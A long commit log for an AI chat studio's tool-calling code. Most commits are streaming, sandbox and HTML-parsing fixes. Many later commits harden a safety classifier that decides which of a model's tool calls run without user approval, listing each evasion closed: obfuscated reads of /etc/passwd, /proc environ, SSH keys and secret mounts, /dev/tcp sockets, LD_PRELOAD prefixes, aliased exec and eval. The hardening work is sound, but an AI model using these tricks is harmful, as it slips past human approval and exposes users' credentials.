ceiling the cap enforces. Slice the crossing chunk to one character past
the budget: that preserves the caller's overflow signal and its
byte-identical truncation while dropping the arbitrarily large remainder
in place.
* Studio: scope missing-path hint to the failing line, keepalive dropped-call output, and preserve truncated tool streams over byte length
- tools._missing_path_hint: the code-interpreter convention-prefix trigger
scanned the whole output, so a convention prefix mentioned only in a
traceback frame (a /workspace project root) or printed by the user's code
would add a misleading 'use a relative path' hint even when the actual
FileNotFoundError was a relative or in-workdir path. Scope the convention
test to the failing-path error line(s), matching _extract_missing_abs_path.
- _anthropic_tool_stream: the tool_output/tool_args rate-limited keepalive sat
after the drop_until_tool_end skip, so under disable_parallel_tool_use a
chatty second-or-later tool call was dropped whole with no keepalive, letting
an idle proxy kill the SSE stream. Check the keepalive branch before the drop
skip (like the heartbeat branch) so dropped-call output keeps the stream alive.
- preferFullToolOutput / chat-adapter: a truncated result can be longer than
the live stream by byte count once its footer, an 'Exit code N:' notice, or an
__IMAGES__ base64 tail is appended, so the length-only gate discarded the full
stream and the finished card fell back to the truncated text. Add a shared
truncation-aware shouldPreserveFullOutput used by both the write and read
sites: preserve the stream whenever the result carries the truncation footer.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: skip the habit-path hint for real project paths under a convention prefix
* Kill captured process group on streamed wait-timeout
The streamed drain path's proc.wait() timeout branch only called
_kill_process_tree(proc). If the leader exits in the narrow window between
the wait timing out and _kill_process_tree sampling its pgid, that helper
short-circuits on the reaped leader and a stdout-holding grandchild in the
same group survives. Also kill the captured pgid there, matching the
non-streaming communicate() timeout path. Adds a hermetic regression test
that models the reaped-leader race by stubbing _kill_process_tree.
* Fix 3.10 pathlib write_text remap and honor cancel in finite drain
On Python < 3.11 pathlib routes Path.open / read_text / write_text through
a module-level accessor singleton whose open attribute captured the original
io.open at import time (_NormalAccessor.open = io.open). Patching io.open in
the sandbox shim therefore never reached that captured reference, so a
Path('/mnt/data/x').write_text(...) raised FileNotFoundError on 3.10 while
passing on 3.11+ (which dropped the accessor and calls io.open at call time).
Repoint _NormalAccessor.open at the same io.open wrapper via a staticmethod,
guarded so it is an idempotent no-op on 3.11+. Keep the test save/restore
helpers symmetric so the accessor is restored too, and add a hermetic
write_text/read_text remap test that covers every version.
Also honor cancellation while draining inherited stdout after the leader
exits. Once the leader is reaped the cancel watcher returns (its loop is
while proc.poll() is None), so the finite-timeout drain did one blocking
reader.join(timeout=remaining) that ignored cancel_event and kept draining a
chatty grandchild for the whole budget after a disconnect/Stop. Poll
cancel_event in 0.5s slices against a deadline like the timeout=None branch
and kill the captured process group promptly on cancel. The normal path still
reaches EOF on its own, so the streamed vs non-streamed result is unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: port no-tool stream keepalive/drain and fix subprocess/queue/extraction asymmetries
Streaming no-tool paths now match their tool twins:
- _anthropic_plain_stream, safetensors/MLX no-tool stream, and standard GGUF
no-tool stream run next(gen) in a worker with a timed SSE keepalive loop so a
long prompt prefill cannot leave the stream idle past a proxy cap.
- The Anthropic plain and safetensors/MLX no-tool teardowns now drain the
pending next(gen) worker and close the generator on disconnect instead of
leaking the suspended generator.
Other asymmetries:
- Non-streaming _python_exec/_bash_exec always drain via _drain_process_output
(output_callback may be None) so a cancelled run reaps a stdout-holding
grandchild that outlived the leader instead of blocking in communicate(). The
joined bytes are identical to communicate(), so streamed vs non-streamed
results stay byte-identical.
- _build_bypass_env installs the sitecustomize path shim on PYTHONPATH (prepend,
keeping the operator's entries) so /mnt/data remap works in bypass mode too.
- GGUF forwards output_callback to execute_tool only when the callable accepts
it (shared accepts_output_callback), matching safetensors and preserving
legacy monkey-patched signatures.
- tool_stream_exec bounds accepted live output at the producer boundary so a
chatty tool cannot grow the queue without limit under consumer backpressure
and cannot keep the drain spinning and starve heartbeats.
- html_to_md implicit-close now searches past unclosed inline descendants so a
hidden <p>/<li> is closed by a following block; main-content scoping gates on
the largest single <article>/<main> so a swarm of tiny cards cannot pass the
threshold in aggregate and displace the real main.
- preferFullToolOutput re-attaches the "Exit code N:" prefix to the fuller
stream instead of appending the still-prefixed result, so a failed truncated
tool no longer duplicates its stdout in the finished card.
Adds hermetic tests for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Preserve short live output on timed-out tools; strip inline-CSS-hidden subtrees and score truncated main-content scopes
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten chat tool streaming comments and docstrings
* Keep HTML READMEs from the GitHub API and preserve interrupted tool output
Convert a 200 HTML README body from the GitHub README API to Markdown
instead of discarding it and falling back to the repo page chrome, and
promote captured live stdout to full output when a tool never reaches
tool_end (stream interrupted or cancelled) so the partial diagnostics
stay on the finished card.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: anchor HTML sniff, keep repeated sandbox writes, reuse textual tool ids
Anchor _looks_like_html to the leading doctype/tag so a Markdown README that
opens with a fenced HTML example stays Markdown (no html_to_markdown
corruption), while bare HTML fragments (<body>/<article>/<section>) are still
detected and converted on a missing/wrong Content-Type.
Let the sandbox write fallback re-serve a target it already healed for the same
invented absolute path, so iterative overwrites of a generated artifact stop
failing with FileNotFoundError while the anti-clobber guard still refuses
unrelated same-basename files.
Reconcile the first textual tool call carrying an explicit id onto the open
provisional TEXT card instead of spawning a duplicate card under that id.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: run implicit-close before skipping tags and keep leading README tables as Markdown
A skipped block (<nav>/<footer>) is an HTML5 optional-end-tag closer of an
open <p>, but handle_starttag returned before the implicit-close bookkeeping,
so a never-closed <p hidden> kept its hidden mark and swallowed every following
sibling. Run _close_implicit before the skip decision so the hidden mark is
released and trailing content renders.
Drop <table> (and its <thead>/<tbody>/<tr>/<td>/<th> children) from the
_looks_like_html leading set: Markdown READMEs routinely open with a raw HTML
<table> badge/layout row, and sniffing that as HTML collapsed the whole
Markdown body through html_to_markdown, exactly like the already-excluded
<div align>/<p align> layout headers.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make bypass-permissions Popen double faithful to the unified drain path
The non-streaming _python_exec/_bash_exec now share _drain_process_output,
which reads proc.stdout in a reader thread and calls proc.wait(); the test
double only implemented communicate(), so bypass-mode bash returned an
AttributeError instead of the faked output. Give _FakeProc a readable stdout
pipe (yields the fake line then EOF), wait()/poll()/pid, so the test exercises
the real drain path on both the python and bash bypass branches.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: persist sandbox path heals across runs and suppress nested hidden lists
* Studio: run tool Python child unbuffered (-u) so unflushed prints stream live
A long-running snippet doing bare print() without flush=True never reached
the live-output pane: CPython block-buffers stdout when writing to a pipe, so
_drain_process_output's readline() saw nothing until the buffer filled or the
process exited. Launch the child with the interpreter -u flag so stdout is
unbuffered and each print streams as it is produced.
-u is applied unconditionally on both the streaming and non-streaming path, so
the child invocation stays byte-identical with and without streaming and the
final joined result is unchanged (buffering/timing only). Unlike the earlier
PYTHONUNBUFFERED=1 env injection that was removed, -u does not pollute the
child's os.environ and is not visible via os.getenv.
* Render only the selected main-content subtree in html_to_markdown
The main-content heuristic sized each <article>/<main> candidate
individually to pick the largest subtree, but then rendered every
matching tag in the document. A page with one real article plus
sibling related-post cards or comment threads passed the size gate on
the real article yet still emitted the unrelated siblings.
Size and render the same chosen subtree so only the selected
main-content subtree reaches the output.
* Studio: tighten chat-tool-streaming fix comments
* Studio: store tool-output-scope separators as unicode escapes
The pane-scope and tool-output-key separators were literal NUL (0x00) bytes, which made git treat the file as binary and hide its diff and blame. Write them as \u0000 escapes instead; the runtime key value is unchanged.
* Studio: bound tool-stream teardown when the client disconnects
stream_tool_execution ran its yield loop with no try/finally, so a gen.close() on client disconnect (GeneratorExit at a yield) skipped the worker join and never signalled cancellation. A tool that does not poll cancel_event mid-flight (web_search, MCP, search_knowledge_base) then kept request teardown blocked until the tool's own timeout. Thread the request cancel_event into the wrapper, set it only on the abnormal-exit path so a clean multi-tool turn is unaffected, and bound the worker join to a few seconds; the daemon worker cannot outlive the process.
* Studio: sandbox path remap no longer masks missing reads
The sandbox sitecustomize shim remapped code-interpreter prefixes (/mnt/data, /workspace, ...) onto the working directory for every open mode, including reads. A read of a path that truly did not exist was silently redirected onto a same-basename workdir file instead of raising on the path the model used, hiding real missing-input errors. Remap writes and creates as before, but remap a read only when the mapped workdir target already exists (re-reading a just-written artifact); otherwise keep the original absolute path so the failure stays truthful.
* Studio: bound web fetch with one overall deadline and cancellation
The web fetch applied timeouts per network operation, so a GitHub README API attempt plus its HTML fallback plus up to five redirect hops could run well past the tool timeout, and nothing aborted once the client had disconnected. Add a single wall-clock deadline shared across the API attempt, the fallback, every redirect hop and the body read, cap each hop's socket timeout at the time left on the budget, and poll cancel_event. SSRF host pinning, per-hop redirect revalidation, the five-hop cap and the size cap are unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep tool-stream teardown off the event loop on disconnect
The bounded worker join added for disconnect safety still ran on an abnormal close, so a client disconnect could wait the full join timeout; and the safetensors and Anthropic tool streams closed their generator synchronously on the event loop, unlike the GGUF path. On abnormal exit the daemon worker is abandoned, so join with a zero timeout instead of waiting; offload the safetensors and Anthropic gen.close to a thread to match GGUF; and surface a heartbeat as soon as cancel_event is set while the worker is silent so the route regains control at once instead of after a heartbeat interval.
* Studio: extend the web-fetch deadline to DNS, the body read, and search
The overall fetch deadline did not cover host resolution or the response body read, and query-mode web_search ignored cancellation. Resolve hosts (initial and every redirect) on a budget-polled helper so a slow or pre-cancelled getaddrinfo aborts on time; read the capped body in chunks with the budget re-checked between them so a slow-drip server cannot stretch a single read past the deadline; and gate the blocking DDGS query on cancel_event on both sides. SSRF host pinning, per-hop redirect revalidation, the five-hop cap and the size cap are unchanged.
* Studio: defer the sandbox remap notice and tighten os.open create flags
The one-shot remap notice fired while computing the mapping, so a read that kept its original path emitted a false notice and spent the notice a later genuine remap needed. Only emit it once _remap_open commits to the redirect. Separately, os.open classified O_TRUNC / O_APPEND without O_CREAT as creating, but those cannot create a missing file, so a missing target now stays truthful (only O_CREAT maps to the creating mode).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: convert only genuine HTML README bodies, not Markdown with a leading block tag
The GitHub README API returns the raw file, almost always Markdown. _looks_like_html classified a Markdown README opening with a block tag (<ul>, <ol>, <dl>, <pre>, <blockquote>) as HTML, so _fetch_page_text ran it through html_to_markdown and collapsed its headings, lists and fenced code into a single line. Sniff the README body with a stricter document-level check (doctype or a leading <html>/<head>/<body>) so only a real .html README is converted; the general page path is unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Surface unclassified mid-stream Anthropic errors as SSE error events
The local Anthropic tool-stream and plain-stream paths called
_anthropic_stream_error_event(e) with force defaulting to False, so an
unclassified mid-stream failure (llama-server crash, decode OOM, a
dropped upstream socket) returned no event. The except block then fell
through to emitter.finish(), emitting a normal message_delta and
message_stop that masked a truncated turn as a clean finish.
Pass force = True at both fall-through sites so an unclassified failure
emits a 500 SSE error event and returns, matching the Anthropic
passthrough path that already forces it. Add regression tests covering
both stream paths.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: give each tool run a unique part id so finished cards keep their own output
Backend tool ids restart at call_0 every assistant response, and the
transient toolLiveOutput/toolFullOutput store maps were keyed by pane
scope plus that bare backend id. Two turns in the same pane therefore
shared one key: the stale-clear at tool_start only guards the forward
direction, so when a later call_0 finished and wrote its preserved full
output, every earlier still-mounted finished card reading the same key
re-rendered and displayed the newer tool's output instead of its own.
Mint one per-run-unique part id per backend id (call_0:<uuid>) and route
tool_start/output/args/end through a single resolver so all events for a
call resolve the same id. The durable part carries the unique id, so the
finished-card readers derive a collision-free key with no change, and the
awaiting-confirmation path keeps its own synthesized id. Outbound replay
stays paired (the assistant tool_call id and the role=tool result
tool_call_id both come from the part id) and gains unique ids across
turns, which strict providers require.
* Studio: tighten PR comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
* Studio: permission levels for chat tool calls (Ask, Approve for me, Off, Full access)
Replace the Bypass permissions on/off toggle with a four level permission
selector, available in Settings > General (new Permissions section above
Notifications), the chat settings panel, the composer plus menu, and a new
always visible composer pill.
Levels:
- Ask for approval: every local tool call pauses for allow/deny.
- Approve for me: only calls detected as potentially unsafe pause; the
python/terminal sandbox stays on.
- Off: never pauses; sandbox stays on (previous default behavior).
- Full access: never pauses and the sandbox is disabled. Still requires
the danger confirmation and is never restored across reloads.
Backend adds permission_mode to the OpenAI compatible and Anthropic
passthrough payloads and threads it through both tool loops. Auto mode
uses a fail closed classifier in tools.py: terminal commands must be on
a read only allowlist with no redirection or substitution, python code
is AST scanned for writes, exec, process and network use, MCP tools
auto run only with read only style names. Unknown tools always ask.
Legacy bypass_permissions and confirm_tool_calls keep their exact
behavior for existing API callers.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio permissions: Off is a plain toggle below Full access
Off moves to the bottom of the level menu with a short description and
acts as the feature-off state: the composer pill is hidden entirely
while Off, and reselecting the active level toggles back to Off.
* Studio permissions: higher contrast composer pill text
The permission pill uses a foreground based grey instead of the shared
muted pill color, so it reads darker in light mode and lighter in dark
mode. Full access keeps the danger yellow.
* Studio permissions: panel dropdown layout and shorter tooltip
Chat settings panel: the Bypass permissions label sits on one line with
a full width dropdown underneath, styled like the other panel selects.
Tooltip shortened and wording uses Unsloth instead of Studio.
* Studio permissions: harden auto-mode unsafe detection
Extend the Approve for me classifier to catch write and exec paths that
slipped through:
- terminal: sort -o, tree -o, xxd -r, find -exec/-execdir/-ok/-delete
and find -fprint/-fprintf/-fls now ask; plain read-only forms still
auto-run. awk is no longer allowlisted since its program can write and
call system().
- python: from-imports of mutating names (from os import remove [as rm])
and star imports now ask.
Found by a fuzz and edge-case simulation matrix; pinned in
test_permission_mode.py.
* Studio permissions: split multi-line terminal commands in auto detection
A shell runs each line as its own command, but shlex reads newlines as
whitespace, so "ls\nrm -rf x" demoted rm to argument position and
auto-ran. Normalize newlines and CR to separators, and treat any all
separator token as a command boundary so runs of blank lines still
split. Found by the simulation matrix; pinned in tests.
* Studio permissions: address review feedback on auto-mode detection
Auto-mode (Approve for me) safety classifier hardening:
- Python: flag any reference to a mutating attribute, not only direct
calls, so indirect refs (f = os.remove; f(x)) and aliases ask. Detect
Path.open(mode) write modes and wrap the AST walk to fail closed.
- Terminal: match attached short output flags (sort -o/tmp/out) and keep
find context across grouping parens so find ( -delete ) asks.
- Both: ask before reads that escape the sandbox workdir via parent
traversal or hit credential paths (.ssh, .aws, id_rsa, .pem, etc.).
permission_mode plumbing:
- Fold permission_mode=full into bypass_permissions at the request model
so route-level confirm-gate guards see it as bypass.
- Reject ask/auto on the Anthropic Messages server-tools path, which has
no confirmation channel (mirrors the confirm_tool_calls rejection).
- Keep forced RAG autoinject in auto mode: the safe search_knowledge_base
retrieval never gates, so derive the skip from the real confirm need.
- Reset all local preferences now also clears the legacy confirm key so a
reset restores the fresh default instead of the old level.
Regression tests added for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio permissions: close auto-mode classifier gaps from review round 2
Auto mode ("Approve for me") let a few mutating calls through as safe:
- os.open(...) always creates/writes a descriptor, so treat it as unsafe
even though builtin open in read mode stays safe.
- fd -x/--exec/-X/--exec-batch runs a command per match; scan for these
alongside find's -exec/-delete.
- tempfile writes artefacts and hands back writable handles, so importing
it now asks.
- Calling the result of a call (getattr(os, "remove")("x"), partials) is a
dynamic target the AST can't vet, so fail closed.
- An MCP tool whose name pairs a read verb with a mutating one
(get_or_create_issue, read_and_delete_file) no longer auto-runs on the
read prefix alone.
Also fold permission_mode="off" into confirm_tool_calls=False on both
request models so the non-stream route guard sees the disabled gate, and
drive the Confirm tool calls toggle off permission_mode="ask" so auto no
longer shows it on.
* Harden auto-mode classifier and normalize bypass to full for PR #7079
Approve for me now asks for a few cases it previously auto-ran:
- os.open via an os alias (import os as o; o.open(path, O_CREAT))
- pathlib symlink_to / hardlink_to / link_to
- importlib.import_module dynamic imports
- os.mkfifo / os.mknod / os.utime
Also fold bypass_permissions into full when a stale ask/auto permission_mode
is sent alongside it, so the Anthropic route guard no longer 400s those legacy
callers. Adds classifier and request-model regression tests.
* Close more auto-mode classifier gaps for PR #7079
Approve for me now asks for cases the review surfaced:
- builtin open aliased to a name (f = open; from builtins import open as w)
or looked up dynamically (globals()['open'])
- pickle / marshal / shelve / dill deserialization
- io.FileIO write handles
- sort --compress-program (runs an external program)
- MCP names carrying save/archive/submit/commit/push/sync/register verbs
Also refine the attribute open() write check so an explicit read mode
(ZipFile.open(name, "r")) stays auto while os.open flags still ask. Adds
test coverage for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close three more auto-mode gaps for PR #7079
- rg runs an arbitrary program per file via --pre / --hostname-bin, so
"Approve for me" now asks for those flags (rg is on the read-only
allowlist).
- A path-qualified command token (./ls, /tmp/cat) is an arbitrary
executable, not the trusted utility its basename matches, so it asks
before running.
- A direct /chat/completions caller that sets permission_mode ask/auto
but omits the legacy confirm_tool_calls flag now self-enables the
confirmation gate, so tools can no longer run ungated on that path.
Adds classifier and request-model tests for each case.
* Close auto-mode classifier gaps from review round 3 for PR #7079
Approve for me now asks for cases the latest pass surfaced:
- short-option clusters bundling a write flag (sort -uo out => -u -o)
- procfs reads that leak a process env/args/memory
(cat /proc/self/environ, /proc/PID/cmdline, maps)
- env-assignment prefixes that change command lookup/loading
(LD_PRELOAD=x ls, PATH=. ls, IFS=x ls); benign FOO=1 cmd stays auto
- os.open imported as a bare callable (from os import open as o)
Also drops ps from the safe terminal allowlist: its BSD environment
flags (ps auxe, ps eww) dump a parent process's unscrubbed env and
cannot be flag-parsed reliably, so ps always asks now. Adds classifier
tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 4 for PR #7079
Terminal (Approve for me now asks for these):
- cd dropped from the safe allowlist: cd /; cat etc/passwd moves the
shell out of the session workdir so a later relative read escapes it
- env -C/--chdir (workdir escape) and -S/--split-string (builds a fresh
command line); wrapper flags are now checked
- /etc//passwd and /etc/./passwd normalize to /etc/passwd before the
sensitive-path scan
- a sensitive path split across an assignment and an argument
(p=/etc; cat $p/passwd) via best-effort NAME=value expansion
Python:
- builtins.exec / builtins.eval attribute calls (dynamic code execution)
- destructured open aliases (f, _ = (open, print); f('out', 'w'))
- a sensitive path composed from literals (os.path.join('/etc','passwd'),
'/etc' + '/passwd')
- ZipFile/TarFile write modes (ZipFile(name, 'w')); the reader stays auto
Adds classifier tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 5 for PR #7079
Terminal (Approve for me now asks for these):
- procfs reads hidden by shell quotes (cat /proc/$PPID/enviro''n) or
quoted/nested-variable assignments (p="/proc/$PPID"; cat $p/environ):
quotes are stripped and NAME=value prefixes expanded before the scan
- LESSOPEN/LESSCLOSE, which make less run an input preprocessor command
Python:
- os.chdir / os.fchdir, which move the cwd so a later relative read
escapes the sandbox workdir
- sensitive paths composed via a pathlib / chain (Path('/etc') / 'passwd')
or an f-string of literals (f'/proc/{pid}/environ')
- runpy (import) and runpy.run_path / run_module, which run arbitrary code
Adds classifier tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 6 for PR #7079
Approve for me now asks for these:
- a mutating callable reached through a getattr alias
(rm = getattr(os, "remove"); rm("f")): calls through a getattr-bound
name fail closed
- compound MCP tool names carrying clone/checkout/comment/fork/tag/
invite/share, which start with a read verb but still mutate
- a sensitive path hidden behind a glob (cat /e??/passwd,
cat /e[t]c/passwd): a ? / * / [..] token is matched against the
sensitive-file set and bracket classes are de-obfuscated; benign
globs (ls *.py) stay auto
Also run first-pass RAG retrieval in off mode: like auto, off never
prompts, so a direct caller passing a stale confirm flag should not lose
document retrieval (both tool loops).
Adds classifier tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 7 for PR #7079
Approve for me now asks for these:
- __builtins__.exec / __builtins__.eval (dynamic code via the dunder)
- terminal reads that hide a credential path behind a backslash escape
(cat /et\c/passwd)
- read-named MCP filesystem calls pointed at a credential path
(mcp__fs__read_file {"path": "/etc/passwd"})
- compound MCP names carrying append / prepend
- open aliased through a subscript or builtins attribute
(f = globals()["open"]; f = builtins.open) then called to write
- open(..., **{"mode": "w"}) where a kwargs splat hides the write mode
- a sensitive path with a dynamic segment (open(f"/etc/{name}"),
os.path.join("/etc", name)); /tmp/{name} stays auto
- urllib3 networking
Also stop folding permission_mode ask/auto into confirm_tool_calls for
external-provider requests: that branch rejects confirm_tool_calls with
tools, and the mode only governs local tool calls. Local requests still
self-gate. Adds tests for each case.
* Close auto-mode classifier gaps from review round 8 for PR #7079
Approve for me now asks for these:
- dbm on the unsafe-module list: dbm.open(file, "c"/"n") creates files,
and importing the family signals a persistence writer
- reads of ~/.azure and ~/.config/gh credential stores (Azure/GitHub
tokens), in terminal, MCP arguments, and Python literals
- compound MCP names carrying upsert / assign
Adds classifier tests for each case.
* Gate secret mounts and fix the composer pill count for PR #7079
- Add Docker/Kubernetes secret mount dirs (/run/secrets,
/var/run/secrets) to the sensitive-path checks, so Approve for me asks
before reading injected credentials (terminal, MCP args, Python).
- Count the always-visible permission pill in the composer's compact
threshold so labels collapse at the intended width instead of
overflowing by one pill.
Adds classifier tests for the secret mount paths.
* Close auto-mode classifier gaps from review round 10 for PR #7079
Approve for me now asks for these:
- qualified pathlib constructors (pathlib.Path('/etc') / name), folded
the same as bare Path(...), so a dynamic sensitive path is detected
- open aliased through an annotated assignment (f: object = open;
f('out', 'w')), tracked like a plain assignment
- recursive searches rooted at an absolute path (grep -R TOKEN /home,
rg TOKEN /, fd pattern /etc), which read host files outside the
sandbox tree; sandbox-relative searches stay auto
Adds classifier tests for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 11 for PR #7079
Approve for me now asks for these terminal reads, which bash would
expand into a sensitive path only after the classifier had approved:
- a glob that resolves into a secret mount or credential dir
(cat /r?n/secrets/hf_token, cat /root/.s??/id_rsa)
- a recursive search rooted at a tilde home (grep -R TOKEN ~root,
grep -R TOKEN ~/logs)
- a brace expansion that builds a credential path (cat /etc/pass{w,}d)
- a default/alternate parameter expansion that builds one
(cat /etc/pass${x:-wd})
- an input redirection that hides a glob (cat </e??/passwd)
And these python calls:
- a str.format-built sensitive path (open('/etc/{}'.format('passwd')))
- writer methods that persist to disk without open() (numpy.save,
Image.save, plt.savefig, DataFrame.to_csv, json.dump)
Segment-wise directory matching keeps benign globs (ls /home/*/projects)
auto. Adds regression tests for each case and its safe counterpart.
* Close auto-mode classifier gaps from review round 12 for PR #7079
Approve for me now asks for these too:
- a terminal read whose parent traversal hides behind a redirection with
no following space (cat <../../notes)
- a python read whose path is built with str.join
(open(''.join(['/etc', '/passwd']))), told apart from os.path.join
- a dynamic-code builtin reached through an alias
(from builtins import eval as e; e(...); x = builtins.exec; x(...))
Adds regression tests for each case and its safe counterpart.
* Close auto-mode classifier gaps from review round 13 for PR #7079
Approve for me now asks for these too:
- a recursive search whose root is hidden behind an assignment
(p=/; grep -R TOKEN $p): the recursive-root test now runs on the
assignment-expanded tokens as well
- a python read whose sensitive path is split through a literal variable
(base = '/etc'; open(base + '/passwd')), including via an f-string
- numpy ndarray.tofile, which persists without open()
- a sequence brace read (cat /etc/pass{w..w}d), expanded alongside the
comma brace form before the sensitive-path scan
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 14 for PR #7079
Approve for me now asks for these python reads that assemble a sensitive
path in a form the fold did not yet recognize:
- a pathlib object reused through a name (p = Path('/etc'); p / 'passwd')
- old-style percent formatting ('%s/%s' % ('/etc', 'passwd'))
- Path.joinpath ('/etc'.joinpath('passwd'))
- a bytes path literal (open(b'/etc/passwd'))
And these terminal reads, which bash expands into a sensitive path only
after the classifier had approved:
- a substring parameter expansion off an assignment
(p=passwd; cat /etc/${p:0:6})
- an ANSI-C quoted path (cat $'/etc/pass\x77d')
- a glob into an Azure or GitHub CLI config dir
(cat /home/*/.az?re/..., cat /home/*/.config/g?/...)
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 15 for PR #7079
Approve for me now asks for these terminal reads, which bash expands into
a sensitive path only after the classifier had approved:
- a per-thread procfs env alias (cat /proc/$PPID/task/$PPID/environ)
- a recursive root behind a default parameter (grep -R TOKEN ${root:-/home})
- a path built by pattern replacement (p=passXd; cat /etc/${p/X/w})
And these python reads:
- a pathlib .parent/.parents chain that escapes the session workdir
((Path.cwd().parent / 'other' / 'notes').read_text())
- a sensitive path resolved through glob (glob.glob('/e??/passwd')[0])
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 16 for PR #7079
Approve for me now asks for these terminal reads, which bash expands into
a sensitive path only after the classifier had approved:
- a case-modifying parameter expansion (p=PASSWD; cat /etc/${p,,})
- a mutating find action hidden behind an assignment (f=-delete; find . $f)
- a glob assembled through an assignment (g=e??; cat /$g/passwd)
- a POSIX bracket class glob (cat /etc/pass[[:lower:]]d)
And these python reads/writes:
- a glob pattern folded from a literal variable
(base='/e??'; glob.glob(base + '/passwd'))
- a directly imported os.path.join (from os.path import join; join('/etc', 'passwd'))
- a directly imported writer (from numpy import save; save(...))
- an aliased pathlib constructor (from pathlib import Path as P; P('/etc') / 'passwd')
The find/fd and glob scans now run on the assignment/parameter-expanded
command, and pathlib/join/writer import aliases are tracked. Adds
regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode gaps from review round 17 for PR #7079
Two fixes:
- Gate sqlite3 in auto mode. sqlite3.connect(path) creates or mutates a
database file (and runs DDL/DML) with no open()/writer attribute for
the AST checks to catch, so treat the module like dbm and ask.
- Only self-enable confirm_tool_calls for Studio's own tool loop. The
ask/auto fold previously set confirm on every non-provider request,
including a plain client-tool passthrough (client-supplied tools that
Studio does not execute), which then tripped the local-tool
streaming-confirm route guard and rejected the passthrough. Restrict
the fold to requests that actually ask Studio to run tools
(enable_tools / enabled_tools / mcp_enabled).
Adds regression tests for the sqlite3 write and for the passthrough vs
tool-loop confirm behavior.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode gaps from review round 18 for PR #7079
Classifier (auto mode asks for these):
- os.open through a module alias (import os as o; o.open(...)); os/posix
aliases are tracked like the literal module name.
- less/more pagers, whose escapes (+cmd, !shell, -o/--log-file, LESSOPEN)
can run a command or write a file the command-name allowlist cannot
see, so they are no longer auto-approved.
- a read-named MCP tool carrying a mutating query
(query_database {"query": "DELETE FROM runs"}); DML/DDL statements are
matched as whole statements so a natural-language query that merely
contains "delete" stays safe.
- ML persistence helpers (save_pretrained / save_file / save_model /
save_weights / save_lora / save_checkpoint) that export weights to disk.
Route:
- Honor CLI-forced tools when deriving the confirm gate. When a process
policy (unsloth run --enable-tools) opens the local tool loop without a
request-level tool signal, a permission_mode ask/auto request now
derives confirm at the route (GGUF and safetensors paths) so the mode
still gates the call, and a non-streaming ask/auto request is rejected
rather than running unprompted. A plain client-tool passthrough (no
local loop) is unaffected.
Adds regression tests for each case and its safe counterpart.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close auto-mode classifier gaps from review round 19 for PR #7079
Approve for me now asks for these too:
- a terminal read whose path is built by indirect parameter expansion
(x=passwd; p=x; cat /etc/${!p})
- a bash /dev/tcp or /dev/udp redirection, which opens a network socket
(cat </dev/tcp/host/port)
- a python read via pathlib's receiver-plus-pattern glob
(Path('/etc').glob('passw?'))
- a python read whose sensitive root passes through a normalizer
(os.path.abspath('/etc'), Path('/etc').resolve())
- a pickle-backed loader that can execute code on load
(torch.load, joblib.load, pandas.read_pickle), tracked through module
import aliases
- compiled code wrapped into a callable (compile(...) + types.FunctionType)
Adds regression tests for each case and its safe counterpart.
* Honor unset permission_mode as ask across the local tool loop for PR #7079
Three gaps where an omitted permission_mode did not behave as the
documented default ("ask"):
- The frontend only sent permission_mode / confirm_tool_calls /
bypass_permissions when a tool pill was on. A process policy
(unsloth run --enable-tools) can open the tool loop with no pill, so
the backend never saw the selected gate. Send the three permission
fields at the top level of every local chat payload instead.
- The backend read payload.confirm_tool_calls directly at the
pre-switch guard and both late per-backend derivations, so an unset
mode fell through as no-gate even for an explicit ask/auto. Add
_permission_mode_confirm(payload): explicit confirm_tool_calls wins,
explicit ask/auto engage the gate, off/full never prompt, and an
unset mode defaults to ask only where realizable (streaming), keeping
the legacy no-gate run for non-streaming unset requests.
